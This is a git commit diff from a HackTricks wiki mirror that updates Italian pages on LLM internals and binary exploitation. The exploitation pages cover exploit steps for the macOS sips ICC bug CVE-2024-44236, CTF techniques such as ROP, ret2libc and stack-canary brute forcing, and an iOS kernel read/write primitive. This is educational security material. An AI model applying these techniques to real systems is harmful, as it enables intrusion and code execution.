mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-llm-architecture/1.-tokenizing.md', 'src/AI/AI-ll
This commit is contained in:
Translator
parent
53756436ec
commit
beaeadb442
@ -4,7 +4,7 @@
|
||||
|
||||
## Tokenizing
|
||||
|
||||
**Tokenizing** è il processo di suddivisione dei dati, come il testo, in pezzi più piccoli e gestibili chiamati _token_. A ciascun token viene quindi assegnato un identificatore numerico unico (ID). Questo è un passaggio fondamentale nella preparazione del testo per l'elaborazione da parte dei modelli di machine learning, specialmente nel natural language processing (NLP).
|
||||
**Tokenizing** è il processo di suddivisione dei dati, come il testo, in pezzi più piccoli e gestibili chiamati _token_. Ogni token viene quindi assegnato a un identificatore numerico unico (ID). Questo è un passaggio fondamentale nella preparazione del testo per l'elaborazione da parte dei modelli di machine learning, specialmente nel natural language processing (NLP).
|
||||
|
||||
> [!TIP]
|
||||
> L'obiettivo di questa fase iniziale è molto semplice: **Dividere l'input in token (ids) in un modo che abbia senso**.
|
||||
@ -13,7 +13,7 @@
|
||||
|
||||
1. **Splitting the Text:**
|
||||
- **Basic Tokenizer:** Un tokenizer semplice potrebbe suddividere il testo in parole individuali e segni di punteggiatura, rimuovendo gli spazi.
|
||||
- _Example:_\
|
||||
- _Esempio:_\
|
||||
Testo: `"Hello, world!"`\
|
||||
Token: `["Hello", ",", "world", "!"]`
|
||||
2. **Creating a Vocabulary:**
|
||||
@ -23,8 +23,8 @@ Token: `["Hello", ",", "world", "!"]`
|
||||
- `[EOS]` (Fine Sequenza): Indica la fine di un testo.
|
||||
- `[PAD]` (Padding): Usato per rendere tutte le sequenze in un batch della stessa lunghezza.
|
||||
- `[UNK]` (Sconosciuto): Rappresenta token che non sono nel vocabolario.
|
||||
- _Example:_\
|
||||
Se `"Hello"` è assegnato ID `64`, `","` è `455`, `"world"` è `78`, e `"!"` è `467`, allora:\
|
||||
- _Esempio:_\
|
||||
Se `"Hello"` è assegnato all'ID `64`, `","` è `455`, `"world"` è `78`, e `"!"` è `467`, allora:\
|
||||
`"Hello, world!"` → `[64, 455, 78, 467]`
|
||||
- **Handling Unknown Words:**\
|
||||
Se una parola come `"Bye"` non è nel vocabolario, viene sostituita con `[UNK]`.\
|
||||
@ -33,7 +33,7 @@ _(Assumendo che `[UNK]` abbia ID `987`)_
|
||||
|
||||
### **Advanced Tokenizing Methods**
|
||||
|
||||
Mentre il tokenizer di base funziona bene per testi semplici, ha limitazioni, specialmente con vocabolari ampi e nella gestione di parole nuove o rare. I metodi avanzati di tokenizzazione affrontano questi problemi suddividendo il testo in sottounità più piccole o ottimizzando il processo di tokenizzazione.
|
||||
Mentre il tokenizer di base funziona bene per testi semplici, ha limitazioni, specialmente con vocabolari grandi e nella gestione di parole nuove o rare. I metodi avanzati di tokenizzazione affrontano questi problemi suddividendo il testo in sottounità più piccole o ottimizzando il processo di tokenizzazione.
|
||||
|
||||
1. **Byte Pair Encoding (BPE):**
|
||||
- **Purpose:** Riduce la dimensione del vocabolario e gestisce parole rare o sconosciute suddividendole in coppie di byte che si verificano frequentemente.
|
||||
@ -44,7 +44,7 @@ Mentre il tokenizer di base funziona bene per testi semplici, ha limitazioni, sp
|
||||
- **Benefits:**
|
||||
- Elimina la necessità di un token `[UNK]` poiché tutte le parole possono essere rappresentate combinando token di sottoparola esistenti.
|
||||
- Vocabolario più efficiente e flessibile.
|
||||
- _Example:_\
|
||||
- _Esempio:_\
|
||||
`"playing"` potrebbe essere tokenizzato come `["play", "ing"]` se `"play"` e `"ing"` sono sottoparole frequenti.
|
||||
2. **WordPiece:**
|
||||
- **Used By:** Modelli come BERT.
|
||||
@ -52,23 +52,23 @@ Mentre il tokenizer di base funziona bene per testi semplici, ha limitazioni, sp
|
||||
- **How It Works:**
|
||||
- Inizia con un vocabolario di base di caratteri individuali.
|
||||
- Aggiunge iterativamente la sottoparola più frequente che massimizza la probabilità dei dati di addestramento.
|
||||
- Utilizza un modello probabilistico per decidere quali sottoparole unire.
|
||||
- Usa un modello probabilistico per decidere quali sottoparole unire.
|
||||
- **Benefits:**
|
||||
- Bilancia tra avere una dimensione del vocabolario gestibile e rappresentare efficacemente le parole.
|
||||
- Gestisce in modo efficiente parole rare e composte.
|
||||
- _Example:_\
|
||||
- _Esempio:_\
|
||||
`"unhappiness"` potrebbe essere tokenizzato come `["un", "happiness"]` o `["un", "happy", "ness"]` a seconda del vocabolario.
|
||||
3. **Unigram Language Model:**
|
||||
- **Used By:** Modelli come SentencePiece.
|
||||
- **Purpose:** Utilizza un modello probabilistico per determinare il set di token di sottoparola più probabile.
|
||||
- **Purpose:** Usa un modello probabilistico per determinare il set di token di sottoparola più probabile.
|
||||
- **How It Works:**
|
||||
- Inizia con un ampio set di token potenziali.
|
||||
- Inizia con un grande insieme di token potenziali.
|
||||
- Rimuove iterativamente i token che migliorano meno la probabilità del modello sui dati di addestramento.
|
||||
- Finalizza un vocabolario in cui ogni parola è rappresentata dalle unità di sottoparola più probabili.
|
||||
- **Benefits:**
|
||||
- Flessibile e può modellare il linguaggio in modo più naturale.
|
||||
- Risultati spesso in tokenizzazioni più efficienti e compatte.
|
||||
- _Example:_\
|
||||
- _Esempio:_\
|
||||
`"internationalization"` potrebbe essere tokenizzato in sottoparole più piccole e significative come `["international", "ization"]`.
|
||||
|
||||
## Code Example
|
||||
|
||||
@ -99,7 +99,7 @@ Utilizzando lo stesso testo tokenizzato e `max_length` di 4:
|
||||
|
||||
## Esempio di Codice
|
||||
|
||||
Cerchiamo di capire meglio questo attraverso un esempio di codice da [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
Comprendiamo meglio questo da un esempio di codice da [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
# Download the text to pre-train the LLM
|
||||
import urllib.request
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## Token Embeddings
|
||||
|
||||
Dopo la tokenizzazione dei dati testuali, il passo critico successivo nella preparazione dei dati per l'addestramento di modelli di linguaggio di grandi dimensioni (LLM) come GPT è la creazione di **token embeddings**. I token embeddings trasformano token discreti (come parole o sottoparole) in vettori numerici continui che il modello può elaborare e apprendere. Questa spiegazione analizza i token embeddings, la loro inizializzazione, utilizzo e il ruolo degli embeddings posizionali nel migliorare la comprensione del modello delle sequenze di token.
|
||||
Dopo la tokenizzazione dei dati testuali, il passo critico successivo nella preparazione dei dati per l'addestramento di modelli di linguaggio di grandi dimensioni (LLM) come GPT è la creazione di **token embeddings**. I token embeddings trasformano token discreti (come parole o sottoparole) in vettori numerici continui che il modello può elaborare e da cui può apprendere. Questa spiegazione analizza i token embeddings, la loro inizializzazione, utilizzo e il ruolo degli embeddings posizionali nel migliorare la comprensione del modello delle sequenze di token.
|
||||
|
||||
> [!TIP]
|
||||
> L'obiettivo di questa terza fase è molto semplice: **Assegnare a ciascuno dei token precedenti nel vocabolario un vettore delle dimensioni desiderate per addestrare il modello.** Ogni parola nel vocabolario avrà un punto in uno spazio di X dimensioni.\
|
||||
> Si noti che inizialmente la posizione di ciascuna parola nello spazio è semplicemente inizializzata "randomicamente" e queste posizioni sono parametri addestrabili (saranno migliorati durante l'addestramento).
|
||||
> Si noti che inizialmente la posizione di ciascuna parola nello spazio è semplicemente inizializzata "casualmente" e queste posizioni sono parametri addestrabili (saranno migliorati durante l'addestramento).
|
||||
>
|
||||
> Inoltre, durante il token embedding **viene creata un'altra layer di embeddings** che rappresenta (in questo caso) la **posizione assoluta della parola nella frase di addestramento**. In questo modo, una parola in posizioni diverse nella frase avrà una rappresentazione (significato) diversa.
|
||||
|
||||
@ -74,7 +74,7 @@ tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
|
||||
|
||||
### **Come Funzionano gli Embedding dei Token Durante l'Addestramento**
|
||||
|
||||
Durante l'addestramento, ogni token nei dati di input viene convertito nel suo corrispondente vettore di embedding. Questi vettori vengono poi utilizzati in vari calcoli all'interno del modello, come meccanismi di attenzione e strati di rete neurale.
|
||||
Durante l'addestramento, ogni token nei dati di input viene convertito nel suo corrispondente vettore di embedding. Questi vettori vengono poi utilizzati in vari calcoli all'interno del modello, come meccanismi di attenzione e strati di reti neurali.
|
||||
|
||||
**Scenario Esemplare:**
|
||||
|
||||
@ -137,11 +137,11 @@ Mentre gli embedding dei token catturano il significato dei singoli token, non c
|
||||
1. **Embedding Posizionali Assoluti:**
|
||||
- Assegnano un vettore di posizione unico a ciascuna posizione nella sequenza.
|
||||
- **Esempio:** Il primo token in qualsiasi sequenza ha lo stesso embedding posizionale, il secondo token ne ha un altro, e così via.
|
||||
- **Usato Da:** I modelli GPT di OpenAI.
|
||||
- **Utilizzato Da:** I modelli GPT di OpenAI.
|
||||
2. **Embedding Posizionali Relativi:**
|
||||
- Codificano la distanza relativa tra i token piuttosto che le loro posizioni assolute.
|
||||
- **Esempio:** Indicano quanto sono distanti due token, indipendentemente dalle loro posizioni assolute nella sequenza.
|
||||
- **Usato Da:** Modelli come Transformer-XL e alcune varianti di BERT.
|
||||
- **Utilizzato Da:** Modelli come Transformer-XL e alcune varianti di BERT.
|
||||
|
||||
### **Come Sono Integrati gli Embedding Posizionali:**
|
||||
|
||||
|
||||
@ -246,10 +246,10 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
#### **Scopo e Funzionalità**
|
||||
|
||||
- **Rete FeedForward a livello di posizione:** Applica una rete completamente connessa a due strati a ciascuna posizione separatamente e in modo identico.
|
||||
- **Dettagli del livello:**
|
||||
- **Primo livello lineare:** Espande la dimensionalità da `emb_dim` a `4 * emb_dim`.
|
||||
- **Dettagli del Livello:**
|
||||
- **Primo Livello Lineare:** Espande la dimensionalità da `emb_dim` a `4 * emb_dim`.
|
||||
- **Attivazione GELU:** Applica non linearità.
|
||||
- **Secondo livello lineare:** Riduce la dimensionalità di nuovo a `emb_dim`.
|
||||
- **Secondo Livello Lineare:** Riduce la dimensionalità di nuovo a `emb_dim`.
|
||||
|
||||
> [!TIP]
|
||||
> Come puoi vedere, la rete Feed Forward utilizza 3 strati. Il primo è uno strato lineare che moltiplicherà le dimensioni per 4 utilizzando pesi lineari (parametri da addestrare all'interno del modello). Poi, la funzione GELU viene utilizzata in tutte quelle dimensioni per applicare variazioni non lineari per catturare rappresentazioni più ricche e infine un altro strato lineare viene utilizzato per tornare alla dimensione originale.
|
||||
@ -268,14 +268,14 @@ Questo è già stato spiegato in una sezione precedente.
|
||||
- **Mascheramento:** Viene applicata una maschera causale per impedire al modello di prestare attenzione ai token futuri (importante per modelli autoregressivi come GPT).
|
||||
- **Pesi di Attenzione:** Softmax dei punteggi di attenzione mascherati e scalati.
|
||||
- **Vettore di Contesto:** Somma pesata dei valori, secondo i pesi di attenzione.
|
||||
- **Proiezione di Output:** Strato lineare per combinare le uscite di tutte le teste.
|
||||
- **Proiezione di Uscita:** Livello lineare per combinare le uscite di tutte le teste.
|
||||
|
||||
> [!TIP]
|
||||
> L'obiettivo di questa rete è trovare le relazioni tra i token nello stesso contesto. Inoltre, i token sono divisi in diverse teste per prevenire l'overfitting anche se le relazioni finali trovate per testa sono combinate alla fine di questa rete.
|
||||
>
|
||||
> Inoltre, durante l'addestramento viene applicata una **maschera causale** in modo che i token successivi non vengano presi in considerazione quando si cercano le relazioni specifiche a un token e viene applicato anche un **dropout** per **prevenire l'overfitting**.
|
||||
|
||||
### **Normalizzazione** del livello
|
||||
### **Normalizzazione** del Livello
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class LayerNorm(nn.Module):
|
||||
@ -299,7 +299,7 @@ return self.scale * norm_x + self.shift
|
||||
- **`scale` e `shift`:** Parametri apprendibili (`nn.Parameter`) che consentono al modello di scalare e spostare l'output normalizzato. Sono inizializzati rispettivamente a uno e zero.
|
||||
- **Processo di Normalizzazione:**
|
||||
- **Calcola Media (`mean`):** Calcola la media dell'input `x` attraverso la dimensione di embedding (`dim=-1`), mantenendo la dimensione per il broadcasting (`keepdim=True`).
|
||||
- **Calcola Varianza (`var`):** Calcola la varianza di `x` attraverso la dimensione di embedding, mantenendo anche la dimensione. Il parametro `unbiased=False` assicura che la varianza sia calcolata utilizzando l'estimatore biased (dividendo per `N` invece di `N-1`), che è appropriato quando si normalizza sulle caratteristiche piuttosto che sui campioni.
|
||||
- **Calcola Varianza (`var`):** Calcola la varianza di `x` attraverso la dimensione di embedding, mantenendo anch'essa la dimensione. Il parametro `unbiased=False` assicura che la varianza venga calcolata utilizzando l'estimatore biased (dividendo per `N` invece di `N-1`), che è appropriato quando si normalizza sulle caratteristiche piuttosto che sui campioni.
|
||||
- **Normalizza (`norm_x`):** Sottrae la media da `x` e divide per la radice quadrata della varianza più `eps`.
|
||||
- **Scala e Sposta:** Applica i parametri apprendibili `scale` e `shift` all'output normalizzato.
|
||||
|
||||
@ -440,7 +440,7 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
|
||||
- **Positional Embeddings (`pos_emb`):** Aggiunge informazioni posizionali agli embedding per catturare l'ordine dei token. Come promemoria, questi sono i pesi dati ai token in base alla loro posizione nel testo.
|
||||
- **Dropout (`drop_emb`):** Applicato agli embedding per la regolarizzazione.
|
||||
- **Transformer Blocks (`trf_blocks`):** Stack di `n_layers` blocchi transformer per elaborare gli embedding.
|
||||
- **Normalizzazione Finale (`final_norm`):** Normalizzazione dello strato prima dello strato di output.
|
||||
- **Final Normalization (`final_norm`):** Normalizzazione dello strato prima dello strato di output.
|
||||
- **Output Layer (`out_head`):** Proietta gli stati nascosti finali alla dimensione del vocabolario per produrre logits per la previsione.
|
||||
|
||||
> [!TIP]
|
||||
@ -521,7 +521,7 @@ total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472
|
||||
out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592
|
||||
```
|
||||
|
||||
- **Totale Parametri Attenzione Multi-Testa:**
|
||||
- **Parametri Totali di Attenzione Multi-Testa:**
|
||||
|
||||
```python
|
||||
mha_params = total_qkv_params + out_proj_params
|
||||
@ -549,14 +549,14 @@ ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim
|
||||
ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064
|
||||
```
|
||||
|
||||
- **Totale Parametri FeedForward:**
|
||||
- **Parametri Totali FeedForward:**
|
||||
|
||||
```python
|
||||
ff_params = ff_first_layer_params + ff_second_layer_params
|
||||
ff_params = 2,362,368 + 2,360,064 = 4,722,432
|
||||
```
|
||||
|
||||
**c. Normalizzazioni di Strato**
|
||||
**c. Normalizzazioni dei Livelli**
|
||||
|
||||
- **Componenti:**
|
||||
- Due istanze di `LayerNorm` per blocco.
|
||||
@ -567,7 +567,7 @@ ff_params = 2,362,368 + 2,360,064 = 4,722,432
|
||||
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
|
||||
```
|
||||
|
||||
**d. Totale Parametri per Blocco Transformer**
|
||||
**d. Parametri Totali per Blocco Transformer**
|
||||
```python
|
||||
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
|
||||
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
|
||||
@ -581,7 +581,7 @@ total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
|
||||
|
||||
**a. Normalizzazione del Livello Finale**
|
||||
|
||||
- **Parametri:** `2 * emb_dim` (scala e traslazione)
|
||||
- **Parametri:** `2 * emb_dim` (scala e sposta)
|
||||
```python
|
||||
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
|
||||
```
|
||||
|
||||
@ -795,6 +795,7 @@
|
||||
- [BF Forked & Threaded Stack Canaries](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
|
||||
- [Print Stack Canary](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
|
||||
- [Write What Where 2 Exec](binary-exploitation/arbitrary-write-2-exec/README.md)
|
||||
- [Aw2exec Sips Icc Profile](binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md)
|
||||
- [WWW2Exec - atexit()](binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md)
|
||||
- [WWW2Exec - .dtors & .fini_array](binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)
|
||||
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
|
||||
@ -0,0 +1,53 @@
|
||||
# WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Panoramica
|
||||
|
||||
Una vulnerabilità di scrittura fuori dai limiti nel parser del profilo ICC del sistema di elaborazione delle immagini scriptabile di Apple macOS (`sips`) (macOS 15.0.1, sips-307) a causa di una convalida impropria del campo `offsetToCLUT` nei tag `lutAToBType` (`mAB `) e `lutBToAType` (`mBA `). Un file ICC creato ad hoc può attivare scritture zero fino a 16 byte oltre il buffer heap, corrompendo i metadati dell'heap o i puntatori di funzione e abilitando l'esecuzione di codice arbitrario (CVE-2024-44236).
|
||||
|
||||
## Codice Vulnerabile
|
||||
|
||||
La funzione vulnerabile legge e azzera 16 byte a partire da un offset controllato dall'attaccante senza garantire che si trovi all'interno del buffer allocato:
|
||||
```c
|
||||
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
|
||||
if (i > numberOfInputChannels && buffer[i] != 0)
|
||||
buffer[i] = 0;
|
||||
}
|
||||
```
|
||||
Solo un controllo `offsetToCLUT <= totalDataLength` viene eseguito. Impostando `offsetToCLUT == tagDataSize`, il ciclo indicizza fino a 16 byte oltre la fine di `buffer`, corrompendo i metadati dell'heap adiacenti.
|
||||
|
||||
## Passi di sfruttamento
|
||||
|
||||
1. **Crea un profilo `.icc` malevolo:**
|
||||
- Costruisci l'intestazione ICC (128 byte) con la firma `acsp` e una singola voce di tag `lutAToBType` o `lutBToAType`.
|
||||
- Nella tabella dei tag, imposta `offsetToCLUT` uguale alla `size` del tag (`tagDataSize`).
|
||||
- Posiziona i dati controllati dall'attaccante immediatamente dopo il blocco di dati del tag per sovrascrivere i metadati dell'heap.
|
||||
2. **Attiva l'analisi:**
|
||||
|
||||
```bash
|
||||
sips --verifyColor malicious.icc
|
||||
```
|
||||
|
||||
3. **Corruzione dei metadati dell'heap:** Le scritture zero OOB sovrascrivono i metadati dell'allocatore o i puntatori adiacenti, consentendo all'attaccante di dirottare il flusso di controllo e ottenere l'esecuzione arbitraria di codice nel contesto del processo `sips`.
|
||||
|
||||
## Impatto
|
||||
|
||||
Lo sfruttamento riuscito porta all'esecuzione remota di codice arbitrario con privilegi utente su sistemi macOS che eseguono l'utilità `sips` vulnerabile.
|
||||
|
||||
## Rilevamento
|
||||
|
||||
- Monitora i trasferimenti di file su protocolli comuni (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
|
||||
- Ispeziona i file trasferiti con la firma `acsp`.
|
||||
- Per ogni tag `mAB ` o `mBA `, verifica se il campo `Offset to CLUT` è uguale alla `Tag data size`.
|
||||
- Segnala come sospetto se questa condizione è soddisfatta.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- ZDI blog: CVE-2024-44236: Vulnerabilità di Esecuzione Remota di Codice nell'Utilità sips di Apple macOS
|
||||
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
|
||||
- Aggiornamento di Sicurezza di Apple di Ottobre 2024 (patch che risolve CVE-2024-44236)
|
||||
https://support.apple.com/en-us/121564
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
@ -1,18 +1,20 @@
|
||||
# Indicizzazione degli Array
|
||||
# Array Indexing
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Informazioni di Base
|
||||
## Basic Information
|
||||
|
||||
Questa categoria include tutte le vulnerabilità che si verificano perché è possibile sovrascrivere determinati dati a causa di errori nella gestione degli indici negli array. È una categoria molto ampia senza una metodologia specifica poiché il meccanismo di sfruttamento dipende completamente dalle condizioni della vulnerabilità.
|
||||
|
||||
Tuttavia, qui puoi trovare alcuni **esempi**:
|
||||
|
||||
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
|
||||
- Ci sono **2 array in collisione**, uno per **indirizzi** dove i dati sono memorizzati e uno con le **dimensioni** di quei dati. È possibile sovrascrivere uno dall'altro, consentendo di scrivere un indirizzo arbitrario indicandolo come dimensione. Questo consente di scrivere l'indirizzo della funzione `free` nella tabella GOT e poi sovrascriverlo con l'indirizzo di `system`, e chiamare free da una memoria con `/bin/sh`.
|
||||
- Ci sono **2 array in collisione**, uno per gli **indirizzi** dove i dati sono memorizzati e uno con le **dimensioni** di quei dati. È possibile sovrascrivere uno con l'altro, consentendo di scrivere un indirizzo arbitrario indicandolo come dimensione. Questo consente di scrivere l'indirizzo della funzione `free` nella tabella GOT e poi sovrascriverlo con l'indirizzo di `system`, e chiamare free da una memoria con `/bin/sh`.
|
||||
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
|
||||
- 64 bit, no nx. Sovrascrivi una dimensione per ottenere una sorta di buffer overflow dove tutto sarà utilizzato come un numero doppio e ordinato dal più piccolo al più grande, quindi è necessario creare uno shellcode che soddisfi quel requisito, tenendo conto che il canary non dovrebbe essere spostato dalla sua posizione e infine sovrascrivere il RIP con un indirizzo per ret, che soddisfi i requisiti precedenti e mettendo il più grande indirizzo a un nuovo indirizzo che punta all'inizio dello stack (leaked dal programma) in modo da poter utilizzare il ret per saltare lì.
|
||||
- 64 bit, no nx. Sovrascrivere una dimensione per ottenere una sorta di buffer overflow dove tutto sarà utilizzato come un numero doppio e ordinato dal più piccolo al più grande, quindi è necessario creare uno shellcode che soddisfi quel requisito, tenendo conto che il canary non dovrebbe essere spostato dalla sua posizione e infine sovrascrivere il RIP con un indirizzo per ret, che soddisfi i requisiti precedenti e mettendo il più grande indirizzo a un nuovo indirizzo che punta all'inizio dello stack (leaked dal programma) in modo da poter utilizzare il ret per saltare lì.
|
||||
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
|
||||
- 64 bit, no relro, canary, nx, no pie. C'è un off-by-one in un array nello stack che consente di controllare un puntatore concedendo WWW (scrive la somma di tutti i numeri dell'array nell'indirizzo sovrascritto dall'off-by-one nell'array). Lo stack è controllato quindi l'indirizzo GOT `exit` è sovrascritto con `pop rdi; ret`, e nello stack viene aggiunto l'indirizzo di `main` (ritornando a `main`). Viene utilizzata una catena ROP per leakare l'indirizzo messo nella GOT usando puts (`exit` verrà chiamato quindi chiamerà `pop rdi; ret` eseguendo quindi questa catena nello stack). Infine, viene utilizzata una nuova catena ROP che esegue ret2lib.
|
||||
- 64bit, no relro, canary, nx, no pie. C'è un off-by-one in un array nello stack che consente di controllare un puntatore concedendo WWW (scrive la somma di tutti i numeri dell'array nell'indirizzo sovrascritto dall'off-by-one nell'array). Lo stack è controllato quindi l'indirizzo GOT `exit` è sovrascritto con `pop rdi; ret`, e nello stack viene aggiunto l'indirizzo di `main` (ritornando a `main`). Viene utilizzata una catena ROP per leakare l'indirizzo di put nella GOT usando puts (`exit` verrà chiamato quindi chiamerà `pop rdi; ret` eseguendo quindi questa catena nello stack). Infine, viene utilizzata una nuova catena ROP che esegue ret2lib.
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
|
||||
- 32 bit, no relro, no canary, nx, pie. Abusa di una cattiva indicizzazione per leakare indirizzi di libc e heap dallo stack. Abusa del buffer overflow per fare un ret2lib chiamando `system('/bin/sh')` (l'indirizzo heap è necessario per bypassare un controllo).
|
||||
- 32 bit, no relro, no canary, nx, pie. Abusare di un cattivo indicizzazione per leakare indirizzi di libc e heap dallo stack. Abusare del buffer overflow per fare un ret2lib chiamando `system('/bin/sh')` (l'indirizzo heap è necessario per bypassare un controllo).
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,17 +6,17 @@
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Nota che **`checksec`** potrebbe non rilevare che un binario è protetto da un canary se questo è stato compilato staticamente e non è in grado di identificare la funzione.\
|
||||
> Tuttavia, puoi notarlo manualmente se trovi che un valore è salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire.
|
||||
> Tuttavia, puoi notarlo manualmente se scopri che un valore è salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire.
|
||||
|
||||
## Brute force Canary
|
||||
|
||||
Il modo migliore per bypassare un semplice canary è se il binario è un programma **che fork i processi figli ogni volta che stabilisci una nuova connessione** con esso (servizio di rete), perché ogni volta che ti connetti ad esso **verrà utilizzato lo stesso canary**.
|
||||
Il modo migliore per bypassare un semplice canary è se il binario è un programma **che fork i processi figli ogni volta che stabilisci una nuova connessione** con esso (servizio di rete), perché ogni volta che ti connetti ad esso **lo stesso canary verrà utilizzato**.
|
||||
|
||||
Quindi, il modo migliore per bypassare il canary è semplicemente **forzarlo carattere per carattere**, e puoi capire se il byte del canary indovinato era corretto controllando se il programma è andato in crash o continua il suo flusso regolare. In questo esempio la funzione **forza un canary di 8 Bytes (x64)** e distingue tra un byte indovinato corretto e un byte errato semplicemente **controllando** se una **risposta** viene inviata dal server (un altro modo in **altra situazione** potrebbe essere utilizzare un **try/except**):
|
||||
|
||||
### Example 1
|
||||
### Esempio 1
|
||||
|
||||
Questo esempio è implementato per 64 bit ma potrebbe essere facilmente implementato per 32 bit.
|
||||
```python
|
||||
@ -101,17 +101,22 @@ target = process('./feedme')
|
||||
canary = breakCanary()
|
||||
log.info(f"The canary is: {canary}")
|
||||
```
|
||||
## Threads
|
||||
## Thread
|
||||
|
||||
I thread dello stesso processo condivideranno anche **lo stesso token canary**, quindi sarà possibile **forzare** un canary se il binario genera un nuovo thread ogni volta che si verifica un attacco.
|
||||
|
||||
Inoltre, un **overflow di buffer in una funzione thread** protetta con canary potrebbe essere utilizzato per **modificare il canary master memorizzato nel TLS**. Questo perché potrebbe essere possibile raggiungere la posizione di memoria in cui è memorizzato il TLS (e quindi, il canary) tramite un **bof nello stack** di un thread.\
|
||||
Di conseguenza, la mitigazione è inutile perché il controllo viene effettuato con due canary che sono gli stessi (anche se modificati).\
|
||||
Di conseguenza, la mitigazione è inutile perché il controllo viene eseguito con due canary che sono gli stessi (anche se modificati).\
|
||||
Questo attacco è descritto nel writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
Controlla anche la presentazione di [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) che menziona che di solito il **TLS** è memorizzato da **`mmap`** e quando viene creato uno **stack** di **thread** è anch'esso generato da `mmap`, il che potrebbe consentire l'overflow come mostrato nel writeup precedente.
|
||||
|
||||
## Other examples & references
|
||||
## Altri esempi e riferimenti
|
||||
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||||
- 64 bit, no PIE, nx, BF canary, scrivere in qualche memoria un ROP per chiamare `execve` e saltare lì.
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -40,7 +40,7 @@ Supponiamo che tu provi ad accedere all'indirizzo virtuale **0x1000000000**:
|
||||
2. **Tabella L2**:
|
||||
* Il kernel controlla la tabella delle pagine L2 per una mappatura più dettagliata. Se questa voce punta a una **tabella delle pagine L3**, procede lì.
|
||||
3. **Tabella L3**:
|
||||
* Il kernel cerca la voce finale L3, che punta all'**indirizzo fisico** della pagina di memoria reale.
|
||||
* Il kernel cerca la voce finale L3, che punta all'**indirizzo fisico** della pagina di memoria effettiva.
|
||||
|
||||
#### Esempio di Mappatura degli Indirizzi
|
||||
|
||||
@ -83,7 +83,7 @@ Ulteriori informazioni su questo in [https://github.com/felix-pb/kfd/tree/main/w
|
||||
2. **Scansione delle Pagine Liberate**: Controllano se uno degli oggetti è stato allocato su una pagina liberata.
|
||||
3. **Leggi/Scrivi nella Memoria del Kernel**: Manipolando i campi nell'oggetto IOSurface, ottengono la capacità di eseguire **letture e scritture arbitrarie** nella memoria del kernel. Questo consente loro di:
|
||||
* Usare un campo per **leggere qualsiasi valore a 32 bit** nella memoria del kernel.
|
||||
* Usare un altro campo per **scrivere valori a 64 bit**, ottenendo un **primordiale di lettura/scrittura del kernel** stabile.
|
||||
* Usare un altro campo per **scrivere valori a 64 bit**, ottenendo una **primitiva di lettura/scrittura del kernel** stabile.
|
||||
|
||||
